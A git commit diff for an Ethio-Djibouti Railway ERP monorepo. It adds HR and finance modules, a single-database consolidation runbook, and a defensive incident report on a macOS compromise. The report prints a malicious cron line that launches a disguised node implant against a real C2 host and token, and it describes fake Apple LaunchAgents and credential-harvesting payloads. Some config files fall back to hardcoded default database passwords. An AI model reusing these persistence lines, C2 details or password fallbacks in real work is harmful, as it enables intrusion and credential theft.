Muluhabt ERP modules

This commit is contained in:
Mulu Mehari
2026-08-25 00:11:39 +03:00
parent 5c2100e76d
commit 70171fa9d8
441 changed files with 68587 additions and 214 deletions

104
CLAUDE.md
View File

@@ -32,6 +32,10 @@ copying a pattern across:
| `edr-passenger-web/portal` | `@edr/passenger-portal` | **Next.js** | 5174 |
| `edr-passenger-web/backoffice` | `@edr/passenger-backoffice` | **Next.js** | 5184 |
| `edr-payment-api` | `@edr/payment-api` | NestJS + **TypeORM** | 3003 |
| `edr-hr-api` | `@edr/hr-api` | NestJS + **TypeORM** | 3005 |
| `edr-hr-web` | `@edr/hr-web` | React + **Vite** | 5185 |
| `finance-api` | `@edr/finance-api` | NestJS + **TypeORM** | 3004 |
| `finance-web` | `@edr/finance-web` | React + **Vite** | 5186 |
Those are the **fallbacks compiled into the code**, not what you will be running. Every
port is overridden by `PORT` in the app's `.env` / `.env.development`; the freight vite
@@ -48,6 +52,58 @@ package and is not built, linted, or type-checked. Leave it alone unless asked.
`apps/edr-gps-tracker/` is a separate service with its own `.env.example`.
`apps/edr-hr-api/` owns the `hr` schema and is the HR extension of IAM: employee
profiles hang off `iam.employees`, "departments" are `iam.units` with an HR
satellite (`hr.unit_hr_profiles`), and job positions extend `iam.positions`. HR
stores no copy of an employee's name, unit or organization — those are read
through and joined at query time.
IAM access is split in two, and the split is the design:
- **Reads** go through `IamDirectoryService` — raw SQL projections over `iam.*`,
no entities involved.
- **Writes** go through `IamOperationsService`, which resolves IAM's own
services out of the container (`ModuleRef.get(..., {strict: false})`) and
calls them. HR never writes an `iam.*` table itself, so IAM's validation,
transactions and audit trail all still apply.
That means hr-api **does** import `IamModule` (`IamModule.forRoot({...})`) and
**does** register `@tria-plc/iamapi-common` entities. It sidesteps the stale
`iamEntities` trap below by registering them as **globs over the package's
`dist/`** rather than a hand-maintained class list, with `autoLoadEntities: false`
— see `apps/edr-hr-api/src/config/database.config.ts`. A package bump cannot
leave that list stale, because there is no list.
One consequence worth knowing before touching lifecycle code: IAM's
`deactivateEmployee` ends every position the employee holds, and
`activateEmployee` does **not** put them back. HR surfaces this rather than
hiding it (`accessAlignment` on the profile response).
`apps/finance-api/` owns the `finance` schema — general ledger, chart of
accounts, receivables, payables, budgets and fixed assets. It follows hr-api's
shape exactly (embedded `IamModule.forRoot`, IAM entities registered as globs
over both package dists, `autoLoadEntities: false`, migrations in
`finance.migrations` run only by `migration:run`).
Two rules define it, and neither is negotiable:
- **Finance writes only `finance.*`.** Revenue, cash and payroll are projected
**read-only** out of `freight`, `passenger`, `edr_payment` and `hr` with
schema-qualified raw SQL, plus payment events off `PAYMENT_EVENTS_EXCHANGE`.
No source app writes `finance.*`, and Finance writes none of theirs.
- **Money is `numeric(14,2)` in major units.** The column NAMES lie upstream:
everything on the payment-intent path is called `*Minor` but holds MAJOR
amounts, while passenger's Prisma `Int` columns really are minor. Never infer
the unit from the name — `apps/finance-api/src/common/money.ts` is the
authority, and it also records which upstream rows are known bad.
Note both finance-api and hr-api serve `POST /api/v1/auth/login`: embedding
`IamModule` brings IAM's auth controller with it. finance-web therefore
authenticates against finance-api itself and needs no `x-client-app` header
(both verified against the running services). `edr-hr-web` points its login at
freight-api instead, on the assumption that an IAM-embedding app has no auth
routes — that assumption is wrong, and the coupling is unnecessary.
## Packages
| Package | Location | Purpose |
@@ -112,23 +168,44 @@ gate-pass scenarios). Read the script before running one; several write real row
## Environment & database
- Postgres is **external**. There is no postgres service in `docker-compose.yaml`, and
no port `5433`/`5434` is published anywhere in the repo.
- **One database, schema-separated.** Every app connects to the SAME Postgres database
and is isolated by schema, not by database — `iam`, `freight`, `passenger`,
`edr_payment`, `audit`. This mirrors production, where the Smart Office database holds
the `freight` schema alongside the rest (see `dump-smart_office_prod-*.sql`). There is
no longer a per-domain database; do not add one.
- Postgres is **external** to `docker-compose.yaml` (no service there). For a local one,
`infrastructure/docker/docker-compose.db.dev.yml` starts a single `postgres` on 5432
(`edr_database`) and creates every schema via `infrastructure/docker/initdb/`.
- Freight API connection comes from `DB_HOST`, `DB_PORT`, `DB_USER`, `DB_PASSWORD`,
`DB_NAME` (defaults: `localhost:5433`, `edr_freight`). Development points these at a
remote database.
`DB_NAME` (defaults: `localhost:5432`, `edr_database`). Development points these at a
remote database. `edr-gps-tracker` and `edr-payment-api` read the same DB_* convention;
`edr-passenger-api` uses `DATABASE_URL` (Prisma, `?schema=passenger`) plus
`DATABASE_*`/`DATABASE_SCHEMA=iam` for its read-only TypeORM IAM connection — all three
must resolve to this one database.
- The connection sits behind a **connection pooler**. Do **not** pass
`extra.options: '-c search_path=…'` — the pooler rejects it with
`08P01 unsupported startup parameter in options: search_path`. `search_path` is applied
per-connection in a pool `connect` handler instead. See
`apps/edr-freight-api/src/config/database.config.ts` before touching connection options.
- Each app owns its own database. **No cross-database joins**; cross-domain data flows
through API calls or message queues.
- IAM tables live in their own `iam` schema (`iam.users`, `iam.user_credentials`),
freight tables in `freight`.
- `psql` is not installed on the dev machine. To query the database, use the `edr-db`
skill (below) or write a short Node script using `pg` and run it from
`apps/edr-freight-api`, where `pg` resolves.
- Each app owns its own **schema**, and its own migration history in that schema:
`iam.typeorm_migrations` and `freight.migrations` (both applied by freight-api),
`passenger._prisma_migrations` (Prisma), and payment-api's own table in `edr_payment`.
An app never writes another app's schema.
- IAM tables live in the `iam` schema (`iam.users`, `iam.user_credentials`), freight
tables in `freight`. **`edr-freight-api` is the authoritative owner of the `iam`
schema** — it ships the `iam:migration:run|show|revert` scripts. Passenger's IAM
connection is read-only (`synchronize: false`, `migrationsRun: false`).
- **Cross-schema references stay soft.** Co-location makes hard FKs possible, but there
are zero FKs from `freight.*` into `iam.*` and that is deliberate: references are plain
UUID columns plus denormalized display fields, so IAM stays independently deployable and
the audit trail outlives a deleted user. Keep it that way in new modules.
- The e2e harnesses are the **one exception** and stay hermetic: `edr_freight_e2e` on 5533
(`e2e/freight/`) and the passenger test DB on 5544 (`e2e/docker-compose.yml`). Do not
point them at the shared database.
- `psql` **is** installed (Homebrew, v17.9 — verified 2026-08-19); the earlier claim that
it was not is out of date. Either use it directly against the local database, or use the
`edr-db` skill (below) / a short Node script using `pg` run from `apps/edr-freight-api`,
where `pg` resolves.
## Hard rules
@@ -340,6 +417,11 @@ hand; do not assume the hook caught it.
| Watch-mode reload | New code, old schema → 500 | Apply the migration to the dev DB or restart fully |
| Login 403 from curl | "Missing or unrecognized x-client-app header" | Send `x-client-app: backoffice` or `portal` |
| Copying a passenger pattern into freight | Passenger is Prisma + Next.js, freight is TypeORM + Vite | Check which stack you are in first |
| Binding `payment.*` on the payment exchange | Silently receives NOTHING — wire keys are three words (`payment.passenger.succeeded`) and AMQP `*` matches exactly one | Bind `payment.<service>.*` for one service, or `payment.#` for all |
| Summing money across currencies | Passenger bookings are charged in ETB, DJF **and** USD; adding them overstates ETB revenue (6.3M on the dev replica) | Group by currency; convert only at an explicitly recorded rate |
| Reading a `DATE` column in raw SQL | node-postgres parses it to LOCAL midnight, so `toISOString().slice(0,10)` returns the PREVIOUS day east of UTC — a month-end lands in the wrong period | Cast in SQL: `period_end::text`. Never round-trip a DATE through a JS `Date` |
| A `CHECK` listing enum values wider than the column | `varchar(16)` accepted every status until the 17-character one was first used, then failed mid-operation | Size the column for the LONGEST permitted value |
| A service opening its own transaction inside a caller's | The inner write commits independently; a later failure leaves an orphaned posted row | Pass the caller's `EntityManager` through (see `JournalsService.createPosted`) |
## Project skills

View File

@@ -129,6 +129,101 @@ node server.js
Next.js reads `PORT` from the runtime environment (supplied via `env_file` in docker-compose). The standalone output bundles only the required `node_modules`, producing a significantly smaller image than a full `pnpm deploy`.
## Database consolidation runbook (single schema-separated database)
The platform runs on **one** Postgres database, separated by schema — `iam`, `freight`,
`passenger`, `edr_payment`, `audit`. This is the production topology (the
`dump-smart_office_prod-*.sql` dump is the `freight` schema of a Smart Office database),
and dev/local configs now match it.
Environments that predate this ran freight on its own server (`5433`, database
`edr_freight`) with a **second copy of the `iam` schema**, while passenger and payment used
another database. Use this sequence to collapse them. It is a data move — the config
changes alone do not migrate a single row.
**Authoritative copy: `edr_freight`'s `iam`.** It is the copy freight-api's
`iam:migration:run|show|revert` scripts have been applying migrations to, so its schema is
the most current. The other copy's rows are backfilled into it, never the reverse.
### 1. Snapshot both sources
```bash
pg_dump -Fc -h <old-freight-host> -p 5433 -d edr_freight -f pre-consolidation-freight.dump
pg_dump -Fc -h <old-shared-host> -p 5432 -d edr_database -f pre-consolidation-shared.dump
```
### 2. Create the target database and schemas
Under compose this is automatic (`infrastructure/docker/initdb/01-schemas.sql`). Against an
existing server:
```sql
CREATE DATABASE edr_database;
\connect edr_database
CREATE SCHEMA IF NOT EXISTS iam;
CREATE SCHEMA IF NOT EXISTS freight;
CREATE SCHEMA IF NOT EXISTS passenger;
CREATE SCHEMA IF NOT EXISTS edr_payment;
CREATE SCHEMA IF NOT EXISTS audit;
```
### 3. Restore the authoritative IAM first, then freight
```bash
# iam — including iam.typeorm_migrations, so freight-api does not re-run applied migrations
pg_restore -d edr_database -n iam pre-consolidation-freight.dump
# freight — including freight.migrations
pg_restore -d edr_database -n freight pre-consolidation-freight.dump
```
### 4. Restore the other domains
```bash
pg_restore -d edr_database -n passenger pre-consolidation-shared.dump
pg_restore -d edr_database -n edr_payment pre-consolidation-shared.dump
```
Do **not** restore the second `iam` schema over the first. Back its rows in instead:
`iam.users.username`, `.email` and `.phone_number` are all `UNIQUE`, so the two copies
reconcile on those columns. Insert only users present in the secondary copy and absent from
the authoritative one, and record the old→new id mapping — anything that stored the
secondary copy's user ids (audit rows, `*_user_id` columns in `passenger`) must be remapped
with it. Cross-schema references are soft UUIDs with no FK to catch a miss.
### 5. Repoint the applications
| App | Variables | Value |
| --- | --- | --- |
| `edr-freight-api` | `DB_HOST` `DB_PORT` `DB_USER` `DB_PASSWORD` `DB_NAME` | the consolidated database |
| `edr-gps-tracker` | same `DB_*` | same |
| `edr-payment-api` | same `DB_*` (+ `DB_SCHEMA=edr_payment`) | same |
| `edr-passenger-api` | `DATABASE_URL` (`?schema=passenger`) **and** `DATABASE_HOST/PORT/NAME/USER/PASSWORD` (+ `DATABASE_SCHEMA=iam`) | same |
Both of passenger-api's connections must resolve to this one database — its Prisma URL and
its read-only TypeORM IAM connection are configured separately and can silently diverge.
### 6. Verify before opening traffic
```sql
-- every expected schema present
SELECT nspname FROM pg_namespace WHERE nspname IN
('iam','freight','passenger','edr_payment','audit');
-- migration histories carried over: no re-runs, no gaps
SELECT count(*) FROM iam.typeorm_migrations; -- matches the source count
SELECT count(*) FROM freight.migrations; -- matches the source count
-- no duplicate humans after the IAM backfill
SELECT username, count(*) FROM iam.users GROUP BY username HAVING count(*) > 1;
```
Then run freight-api's migration step (`docker build --target migration`) and confirm it
applies **zero** new migrations — a non-zero count means step 3 dropped a history table.
### Out of scope
The e2e harnesses stay hermetic and are deliberately untouched: `edr_freight_e2e` on 5533
(`e2e/freight/`) and the passenger test database on 5544 (`e2e/docker-compose.yml`,
`apps/edr-passenger-api/.env.test`).
## Rollback Procedure
Each build is tagged with the short git SHA (`${COMPOSE_PROJECT_NAME}-<service>:<sha8>`).

View File

@@ -189,8 +189,9 @@ Monorepo for the **Ethio-Djibouti Railway** digital platform. Hosts two product
### Domain isolation
- **One database per domain.** `postgres-freight` (port 5433, db `edr_freight`) and `postgres-passenger` (port 5434, db `edr_passenger`). No cross-database joins. Cross-domain data flows only through API calls or message queues.
- **Each domain owns its data model.** Freight bookings/consignments/shipments/trains/invoices/documents live only in the freight DB; passenger journeys/tickets live only in the passenger DB.
- **One database, one schema per domain.** All apps connect to the same Postgres database (`DB_NAME`/`DATABASE_NAME`, default `edr_database` on 5432) and are separated by schema: `freight`, `passenger`, `iam`, `edr_payment`, `audit`. This mirrors production, where the Smart Office database holds the `freight` schema alongside the rest.
- **Each domain owns its schema and its own migration history.** Freight bookings/consignments/shipments/trains/invoices/documents live only in `freight`; passenger journeys/tickets only in `passenger`. A domain never writes another domain's schema — cross-domain data still flows through API calls or message queues, not joins.
- **Cross-schema references stay soft.** Co-location makes hard foreign keys possible; the platform deliberately does not use them (there are zero FKs from `freight.*` into `iam.*`). References are plain UUID columns plus denormalized display fields, so IAM stays independently deployable and the audit trail outlives a deleted user.
### NestJS module pattern (per feature)
@@ -294,7 +295,7 @@ cp apps/edr-passenger-api/.env.example apps/edr-passenger-api/.env
|----------|-------------|---------|
| `NODE_ENV` | Environment mode | `development` |
| `PORT` | HTTP server port | `4000` |
| `DATABASE_URL` | PostgreSQL connection string | `postgresql://user:pass@localhost:5432/edr_passenger` |
| `DATABASE_URL` | PostgreSQL connection string (shared DB, `passenger` schema) | `postgresql://edr:edr_secret@localhost:5432/edr_database?schema=passenger` |
| `JWT_SECRET` | JWT signing secret (change in production) | `your-secret-key` |
| `JWT_EXPIRES_IN` | JWT token expiry | `7d` |
| `PORTAL_URL` | Web app CORS origin | `http://localhost:3000` |
@@ -336,12 +337,20 @@ TELEBIRR_APP_SECRET=your-app-secret
#### Start PostgreSQL
```bash
# Using Docker (recommended)
# Prefer infrastructure/docker/docker-compose.db.dev.yml — it creates every schema
# on first boot. This is the equivalent one-liner:
docker run --name edr-postgres \
-e POSTGRES_USER=edr \
-e POSTGRES_PASSWORD=edr_secret \
-e POSTGRES_DB=edr_passenger \
-e POSTGRES_DB=edr_database \
-p 5432:5432 \
-d postgres:15
-d postgres:17-alpine
# Then create the schemas (initdb does this for you under compose):
docker exec -i edr-postgres psql -U edr -d edr_database -c \
'CREATE SCHEMA IF NOT EXISTS iam; CREATE SCHEMA IF NOT EXISTS freight;
CREATE SCHEMA IF NOT EXISTS passenger; CREATE SCHEMA IF NOT EXISTS edr_payment;
CREATE SCHEMA IF NOT EXISTS audit;'
# Or use your local PostgreSQL installation
```

View File

@@ -0,0 +1,186 @@
# Security incident — 2026-08-24 (second event, same day)
Supersedes the first write-up of 2026-08-24 ~01:15, which was lost in the data destruction
described below. This document was reconstructed after containment.
**Status: contained, NOT remediated.** Every implant found has been killed and quarantined, but
the depth of compromise justifies rebuilding this machine rather than trusting the cleanup.
---
## Summary
Two distinct command-and-control implants were found running, both from the same toolkit
(internally named **"SSTAR"**). One of them was running at the exact minute a large portion of the
working tree was destroyed. Credentials for payment providers, SMS/email gateways, JWT signing and
databases were readable on disk throughout, by an implant with file-upload capability.
| | |
|---|---|
| C2 #1 | `23.27.13.135` (ports 80/443) — the fileless `node -e` loader from the 01:15 event |
| C2 #2 | `194.11.226.41:4000` (`ip-194-11-226-41.rockhoster.net`) — new, found 2026-08-24 ~15:45 |
| Shared token | `zRlY7_JxvFY8_Zhhu8ih24iW_dT5Rb_9` (`SSTAR_DEPLOYMENT_HASH`) |
| Data destroyed | `edr/edr-platform` working tree, ~11:1111:13 local |
| Recovered to | 2026-08-22 14:38 (user restore) — **~2 days of work lost** |
---
## Timeline (local time, 2026-08-24)
| Time | Event |
|---|---|
| ~01:15 | First implant found and killed (`node -e` loader → `23.27.13.135`). Persistence search covered LaunchAgents, LaunchDaemons, crontab, shell rc files — **the crontab entry and three LaunchAgents were missed.** |
| 09:41 | `com.VSCodeUpdater` LaunchAgent spawns `tg14xq.js`; `~/.config/runtimedev-link/` created |
| **11:11** | `tg14xq.js` process (PID 32775) starts — **same minute the destruction begins** |
| 11:1111:13 | `edr/edr-platform` destroyed. Only four `apps/` subdirectories survive — exactly those with live dev servers holding them as CWD, which recreated their own paths on the next cache write |
| 11:43 | The `node -e` loader respawns (PID 55417) → `23.27.13.135` |
| 14:41 | Implants **self-update**: `tg14xq.js` rewritten, both fake-Apple LaunchAgents rewritten, new agent process spawned |
| ~15:45 | Full sweep finds all persistence; everything killed and quarantined |
---
## What was found
### 1. Cron persistence (missed by the first sweep)
```
@reboot sleep 30 && node "~/Library/Application Support/VSCodeUpdater/tg14xq.js" \
--token "http://194.11.226.41:4000|zRlY7_JxvFY8_Zhhu8ih24iW_dT5Rb_9"
```
Not a real VS Code updater — Microsoft ships no such thing, does not use cron, and does not pass a
bare IP and token as `--token`.
### 2. Three malicious LaunchAgents in `~/Library/LaunchAgents/`
| Plist | What it ran | Notes |
|---|---|---|
| `com.VSCodeUpdater.plist` | `tg14xq.js` | **`KeepAlive: true`** — this is why killing the process at 01:15 did not stop it |
| `com.apple.softwareupdate.agent.plist` | `~/Library/Caches/com.apple.softwareupdate/softwareupdated` | Masquerades as Apple. The real agent lives in `/System/Library`, never in `~/Library` |
| `com.apple.softwareupdate.background.plist` | same binary, `KeepAlive: true` | same |
### 3. Payloads
- **`tg14xq.js`** (62 KB, obfuscator.io-style) — SHA-256
`4e3d4708c2f1ff1cd68013810e7b854a0a5159e6dd95a9ce3ad5198ebd816082`.
Capabilities decoded from its string table: `execSync`/`spawnSync` (**arbitrary command
execution**), directory-tree scanning (`SSTAR_DIR_TREE_ROOT`, `postDirectoryScanResult`), file
download **and upload**, `.env` harvesting, Chrome extension enumeration, host/user/IP
fingerprinting, and cross-platform persistence (launchd here, systemd on Linux).
- **`softwareupdated`** — Mach-O x86_64, 13 KB, disguised in a *cache* directory.
- **`CatalogData`** (145 KB) — a **Python** payload disguised as an icon-services cache. Cover
story in its own docstring: ".NET Runtime Optimization Service". It literally contains the line
`[LEGITIMATE DESCRIPTION REMOVED FOR OPSEC]`, plus comments referring to "the organizer",
"teammates", and what they "should see: nothing". Capability counts: `subprocess` ×72,
`password` ×31, `SCREENSHOT` ×31, `.env` ×33, `shutil.rmtree` ×2, `upload`, `token`.
- **`~/.config/runtimedev-link/agent.env`** — `SSTAR_API_BASE`, `SSTAR_DEPLOYMENT_HASH`.
---
## Did the implants destroy the tree?
**Most likely yes, but not provable from local artifacts — and worth stating honestly.**
Ruled out with evidence:
- `npx vite` (run one minute earlier) — **no npm activity at all** in that window; vite resolved
from local `node_modules`.
- `edr-local.sh` — contains only `rm -f` on a tempfile and a pidfile.
- Assistant-issued commands — the only `rm`s in the session were one temp file under `dist/` and
files under `/tmp`.
What points at the implants: `tg14xq.js` started at exactly 11:11, and it carries arbitrary
`execSync`. What is missing: any local record of the specific command. The RAT takes instructions
from C2 and does not log them, and the Python agent's own log (28,327 of 28,354 lines being the
same "another instance already running" error) shows nothing at 11:11. So the deletion was almost
certainly an **operator-issued command through the RAT**, which by design leaves no local trace.
One detail still unexplained: `fhcapi` and `fhcui` appeared missing at 11:13 and are present now
with untouched July timestamps, which a delete-then-restore would not produce given only
`edr-platform` was restored.
---
## Credential exposure — assume ALL of these are compromised
An implant with `.env` harvesting and file upload had read access to the whole workspace for at
least the 09:4115:45 window, and plausibly since the 01:15 event or earlier. Secret **names**
found across `apps/*/.env` (values deliberately not reproduced here):
**Payment providers**`TELEBIRR_APP_SECRET`, `TELEBIRR_PRIVATE_KEY`, `TELEBIRR_PUBLIC_KEY`,
`WAAFI_HPP_KEY`, `WAAFI_WEBHOOK_SECRET`, `CBE_SECRET_KEY`, `CARD_API_KEY`, `CARD_WEBHOOK_SECRET`
**Identity / auth**`JWT_SECRET`, `JWT_ACCESS_TOKEN_SECRET`, `JWT_REFRESH_TOKEN_SECRET`,
`FAYDA_PRIVATE_KEY_BASE` (national ID integration), `IAM_API_KEY`,
`SUPER_ADMIN_DEFAULT_PASSWORD`, `DEFAULT_PASSWORD`
**Infrastructure**`DB_PASSWORD`, `DATABASE_PASSWORD`, `MINIO_ACCESS_KEY`, `MINIO_SECRET_KEY`
**Messaging**`TWILIO_AUTH_TOKEN`, `SENDGRID_API_KEY`, `SMS_API_KEY`
Also on disk: four SSH private keys (`id_rsa`, `id_ed25519`, `id_dsa`), and this machine holds a
**replica of the production database**.
The JWT secrets are the most urgent of these: with them, an attacker can forge valid sessions for
any user of the platform, including super admins, without touching this machine again.
Checked and clean: `~/.ssh/authorized_keys` contains only the owner's own key — no SSH backdoor
was added. `~/.npmrc` holds no auth token, but does set `ignore-scripts=false`, which leaves npm
lifecycle scripts enabled — the standard supply-chain vector, and worth reconsidering.
---
## Containment performed (2026-08-24 ~15:4515:55)
1. Evidence captured before any change: crontab, both payloads, process/network detail, hashes.
2. Killed PIDs 32775, 90079, 89857, 89797, 48518, 55417.
3. `crontab -r` (backup saved to the evidence directory first).
4. `launchctl bootout` + quarantine of all three plists.
5. Quarantined `~/Library/Application Support/VSCodeUpdater/`,
`~/Library/Caches/com.apple.softwareupdate/`, `~/Library/Caches/com.apple.iconservices.store/`,
`~/.config/runtimedev-link/`.
6. Verified after 20s: no implant processes, no connections to either C2, nothing malicious
registered with launchd. The only remaining `softwareupdate` processes are genuine Apple ones
running as `_softwareupdate` from `/System/Library`.
Evidence and quarantine (session scratchpad, **copy it somewhere durable**):
`…/74e086a2-21d3-4772-ba96-f1026f24f1c3/scratchpad/incident-2/`
---
## Still outstanding
1. **Take this machine off the network.** Not done — it would sever the session performing the
cleanup.
2. **Rebuild rather than trust the cleanup.** Two C2s, self-updating payloads, Apple-masquerading
persistence and at least four persistence mechanisms across two toolchains (Node and Python) —
with that depth, "we found all of it" is not a safe assumption.
3. **Rotate every credential above, from a different machine.** Rotating from this host is
pointless if anything was missed.
4. **Recover the lost work from the Aug 23 22:54 APFS snapshot** (see below) before redoing it.
5. Origin still unestablished, across both events. The first event's `global['e']="NPM"` marker and
`ignore-scripts=false` suggest an npm-lifecycle vector, but nothing was proven.
6. Assume **source code was exfiltrated** — the RAT scanned and uploaded directory trees.
---
## Data recovery
The restore used was from **2026-08-22 14:38**, losing roughly two days: the entire HR/Finance
navigation redesign (all seven slices), `docs/prompts/`, the nav redesign plan and report, the
first incident write-up, and all of 2026-08-24's work. None of it was committed to git.
**A better source exists** — a local APFS snapshot from **Aug 23 22:54**, a full day newer:
```bash
tmutil listlocalsnapshots /
sudo mkdir -p /tmp/snap
sudo mount_apfs -o ro -s com.apple.TimeMachine.2026-08-23-225456.local / /tmp/snap
ls /tmp/snap/Users/mulumehari/mulu-projects/smart-office/smartofficerepos/edr/edr-platform
```
It should contain nav redesign slices 15 (and possibly 6). Slice 7 and everything on Aug 24 will
not be there. The Time Machine destination "MacBackup" is configured but was not mounted at the
time of checking — connect it and it may hold more.
Not lost: everything in PostgreSQL. The HR and Finance permission seeds and all eight e2e fixture
personas survive, since the databases were untouched.

View File

@@ -30,7 +30,7 @@
| Backoffice | `@edr/freight-backoffice` | 5183 | axios `auth/http.ts`, baseURL `${VITE_BASE_API_URL}/api`, React Query |
| Freight API | `@edr/freight-api` | 3001 | NestJS, global prefix `/api`, Postgres schema `freight` |
| Payment API | `@edr/payment-api` | 3003 | NestJS, separate schema `edr_payment`, providers in `@edr/payment-providers` |
| Datastores | — | 5433 | Postgres `edr_freight`; MinIO (files); RabbitMQ (SMS/email/payment events) |
| Datastores | — | 5432 | Postgres `edr_database`, schema `freight` (one platform DB, schema-separated); MinIO (files); RabbitMQ (SMS/email/payment events) |
```mermaid
flowchart LR

View File

@@ -150,10 +150,15 @@ function buildConnectionOptions() {
return {
type: "postgres" as const,
host: process.env.DB_HOST ?? "localhost",
port: parseInt(process.env.DB_PORT ?? "5433", 10),
username: process.env.DB_USER ?? "postgres",
password: process.env.DB_PASSWORD ?? "",
database: process.env.DB_NAME ?? "edr_freight",
port: parseInt(process.env.DB_PORT ?? "5432", 10),
username: process.env.DB_USER ?? "edr",
password: process.env.DB_PASSWORD ?? "edr_secret",
// Single database, schema-separated: freight, passenger, iam, edr_payment and
// audit are schemas inside ONE Postgres database — the deployed topology (the
// production dump `dump-smart_office_prod-*.sql` is the `freight` schema of a
// Smart Office database). Freight owns the `freight` and `iam` schemas here;
// passenger-api and payment-api connect to the same database on their own.
database: process.env.DB_NAME ?? "edr_database",
// NOTE: do NOT pass `extra.options: '-c search_path=...'`. That sends the
// Postgres startup `options` parameter, which connection poolers (PgBouncer /
// proxies fronting the remote edr_dev DB) reject with

View File

@@ -1,12 +1,16 @@
import 'dotenv/config';
import { Client } from 'pg';
async function createSchema() {
// Connects to the single platform database — the same one the app uses — and
// ensures only the schema this app owns. Reads the standard DB_* env so it can
// never drift from config/database.config.ts.
const client = new Client({
host: 'localhost',
port: 5432,
user: 'postgres',
password: '',
database: 'edr_freight',
host: process.env.DB_HOST ?? 'localhost',
port: parseInt(process.env.DB_PORT ?? '5432', 10),
user: process.env.DB_USER ?? 'edr',
password: process.env.DB_PASSWORD ?? 'edr_secret',
database: process.env.DB_NAME ?? 'edr_database',
});
try {

View File

@@ -2,11 +2,12 @@
GT06_TCP_PORT=5023
GT06_TCP_HOST=0.0.0.0
# Shared freight database (same DB as @edr/freight-api). This app only writes
# freight.gps_devices / freight.gps_positions and NEVER runs migrations.
# The single, schema-separated platform database (same DB as @edr/freight-api).
# This app only writes freight.gps_devices / freight.gps_positions — both
# schema-qualified on the entities — and NEVER runs migrations.
DB_HOST=localhost
DB_PORT=5433
DB_NAME=edr_freight
DB_USER=postgres
DB_PASSWORD=postgres
DB_PORT=5432
DB_NAME=edr_database
DB_USER=edr
DB_PASSWORD=edr_secret
# TYPEORM_LOGGING=true # uncomment for SQL logging

View File

@@ -15,10 +15,11 @@ export default registerAs("database", (): TypeOrmModuleOptions => {
return {
type: "postgres",
host: process.env.DB_HOST ?? "localhost",
port: parseInt(process.env.DB_PORT ?? "5433", 10),
username: process.env.DB_USER ?? "postgres",
password: process.env.DB_PASSWORD ?? "",
database: process.env.DB_NAME ?? "edr_freight",
port: parseInt(process.env.DB_PORT ?? "5432", 10),
username: process.env.DB_USER ?? "edr",
password: process.env.DB_PASSWORD ?? "edr_secret",
// Same single, schema-separated platform database as every other app.
database: process.env.DB_NAME ?? "edr_database",
entities: [GpsDevice, GpsPosition],
migrations: [],
migrationsRun: false,

View File

@@ -0,0 +1,8 @@
{
"$schema": "https://json.schemastore.org/nest-cli",
"collection": "@nestjs/schematics",
"sourceRoot": "src",
"compilerOptions": {
"deleteOutDir": false
}
}

View File

@@ -0,0 +1,74 @@
{
"name": "@edr/hr-api",
"version": "0.0.0",
"private": true,
"description": "EDR HR API \u2014 extends IAM with employee profiles, HR org structure (job titles, job positions, department profiles) and employee documents",
"scripts": {
"clean": "node -e \"const fs=require('fs'); fs.rmSync('dist',{recursive:true,force:true}); fs.rmSync('.tsbuildinfo',{force:true});\"",
"predev": "pnpm run clean",
"dev": "nest start --watch",
"prebuild": "pnpm run clean",
"build": "nest build && node -e \"require('fs').cpSync('src/scripts/iam-ddl','dist/scripts/iam-ddl',{recursive:true})\"",
"start": "node dist/main.js",
"lint": "eslint src",
"test": "jest",
"type-check": "tsc --noEmit",
"migration:run": "node dist/scripts/migrate.js",
"seed:holidays": "node dist/scripts/seed-holidays.js",
"seed:hr": "APP_MODULE_PATH=./dist/app.module node ./node_modules/@tria-plc/iamapi-common/dist/db/seed.cli.js",
"repair:iam-schema": "node dist/scripts/repair-iam-schema.js"
},
"dependencies": {
"@edr/api-common": "workspace:*",
"@edr/types": "workspace:*",
"@nestjs/common": "^11.0.0",
"@nestjs/config": "^4.0.0",
"@nestjs/core": "^11.0.0",
"@nestjs/jwt": "^11.0.2",
"@nestjs/platform-express": "^11.0.0",
"@nestjs/swagger": "^11.4.2",
"@nestjs/typeorm": "^11.0.1",
"@tria-plc/api-common": "file:../../local-packages/tria-plc-api-common-1.6.0.tgz",
"@tria-plc/iamapi-common": "file:../../local-packages/tria-plc-iamapi-common-1.3.4.tgz",
"class-transformer": "^0.5.1",
"class-validator": "^0.14.1",
"dotenv": "^17.4.2",
"pg": "^8.13.0",
"reflect-metadata": "^0.2.2",
"rxjs": "^7.8.1",
"typeorm": "0.3.30"
},
"devDependencies": {
"@edr/eslint-config": "workspace:*",
"@edr/tsconfig": "workspace:*",
"@nestjs/cli": "^11.0.0",
"@nestjs/schematics": "^11.0.0",
"@nestjs/testing": "^11.0.0",
"@types/express": "^5.0.0",
"@types/jest": "^29.5.13",
"@types/node": "^20.14.0",
"@types/pg": "^8.6.7",
"jest": "^29.7.0",
"ts-jest": "^29.2.5",
"ts-node": "^10.9.2",
"tsconfig-paths": "^4.2.0",
"typescript": "^5.5.4"
},
"jest": {
"moduleFileExtensions": [
"js",
"json",
"ts"
],
"rootDir": "src",
"testRegex": ".*\\.spec\\.ts$",
"transform": {
"^.+\\.(t|j)s$": "ts-jest"
},
"collectCoverageFrom": [
"**/*.(t|j)s"
],
"coverageDirectory": "../coverage",
"testEnvironment": "node"
}
}

View File

@@ -0,0 +1,113 @@
import { Module } from "@nestjs/common";
import { ConfigModule, ConfigService } from "@nestjs/config";
import { TypeOrmModule, TypeOrmModuleOptions } from "@nestjs/typeorm";
import { DataSource, DataSourceOptions } from "typeorm";
import { SharedAuthModule } from "@tria-plc/api-common/modules/auth/shared-auth.module";
import { IamModule } from "@tria-plc/iamapi-common/iam.module";
import databaseConfig from "./config/database.config";
import {
APPLICATION_SEARCH_PATH,
ensurePostgresSchemas,
} from "./config/ensure-postgres-schemas";
import { IamDirectoryModule } from "./iam-directory/iam-directory.module";
import { EmployeesModule } from "./modules/employees/employees.module";
import { MeModule } from "./modules/me/me.module";
import { OrgExplorerModule } from "./modules/org-explorer/org-explorer.module";
import { LeaveModule } from "./modules/leave/leave.module";
import { AttendanceModule } from "./modules/attendance/attendance.module";
import { PayrollModule } from "./modules/payroll/payroll.module";
import { RecruitmentModule } from "./modules/recruitment/recruitment.module";
import { AppraisalModule } from "./modules/appraisal/appraisal.module";
import { ReportsModule } from "./modules/reports/reports.module";
import {
HR_APPLICATION,
HR_PERMISSIONS,
HR_ROLES,
HR_ROLE_PERMISSIONS,
} from "./seed/hr-permissions.registry";
import { JobTitlesModule } from "./modules/job-titles/job-titles.module";
import { JobPositionsModule } from "./modules/job-positions/job-positions.module";
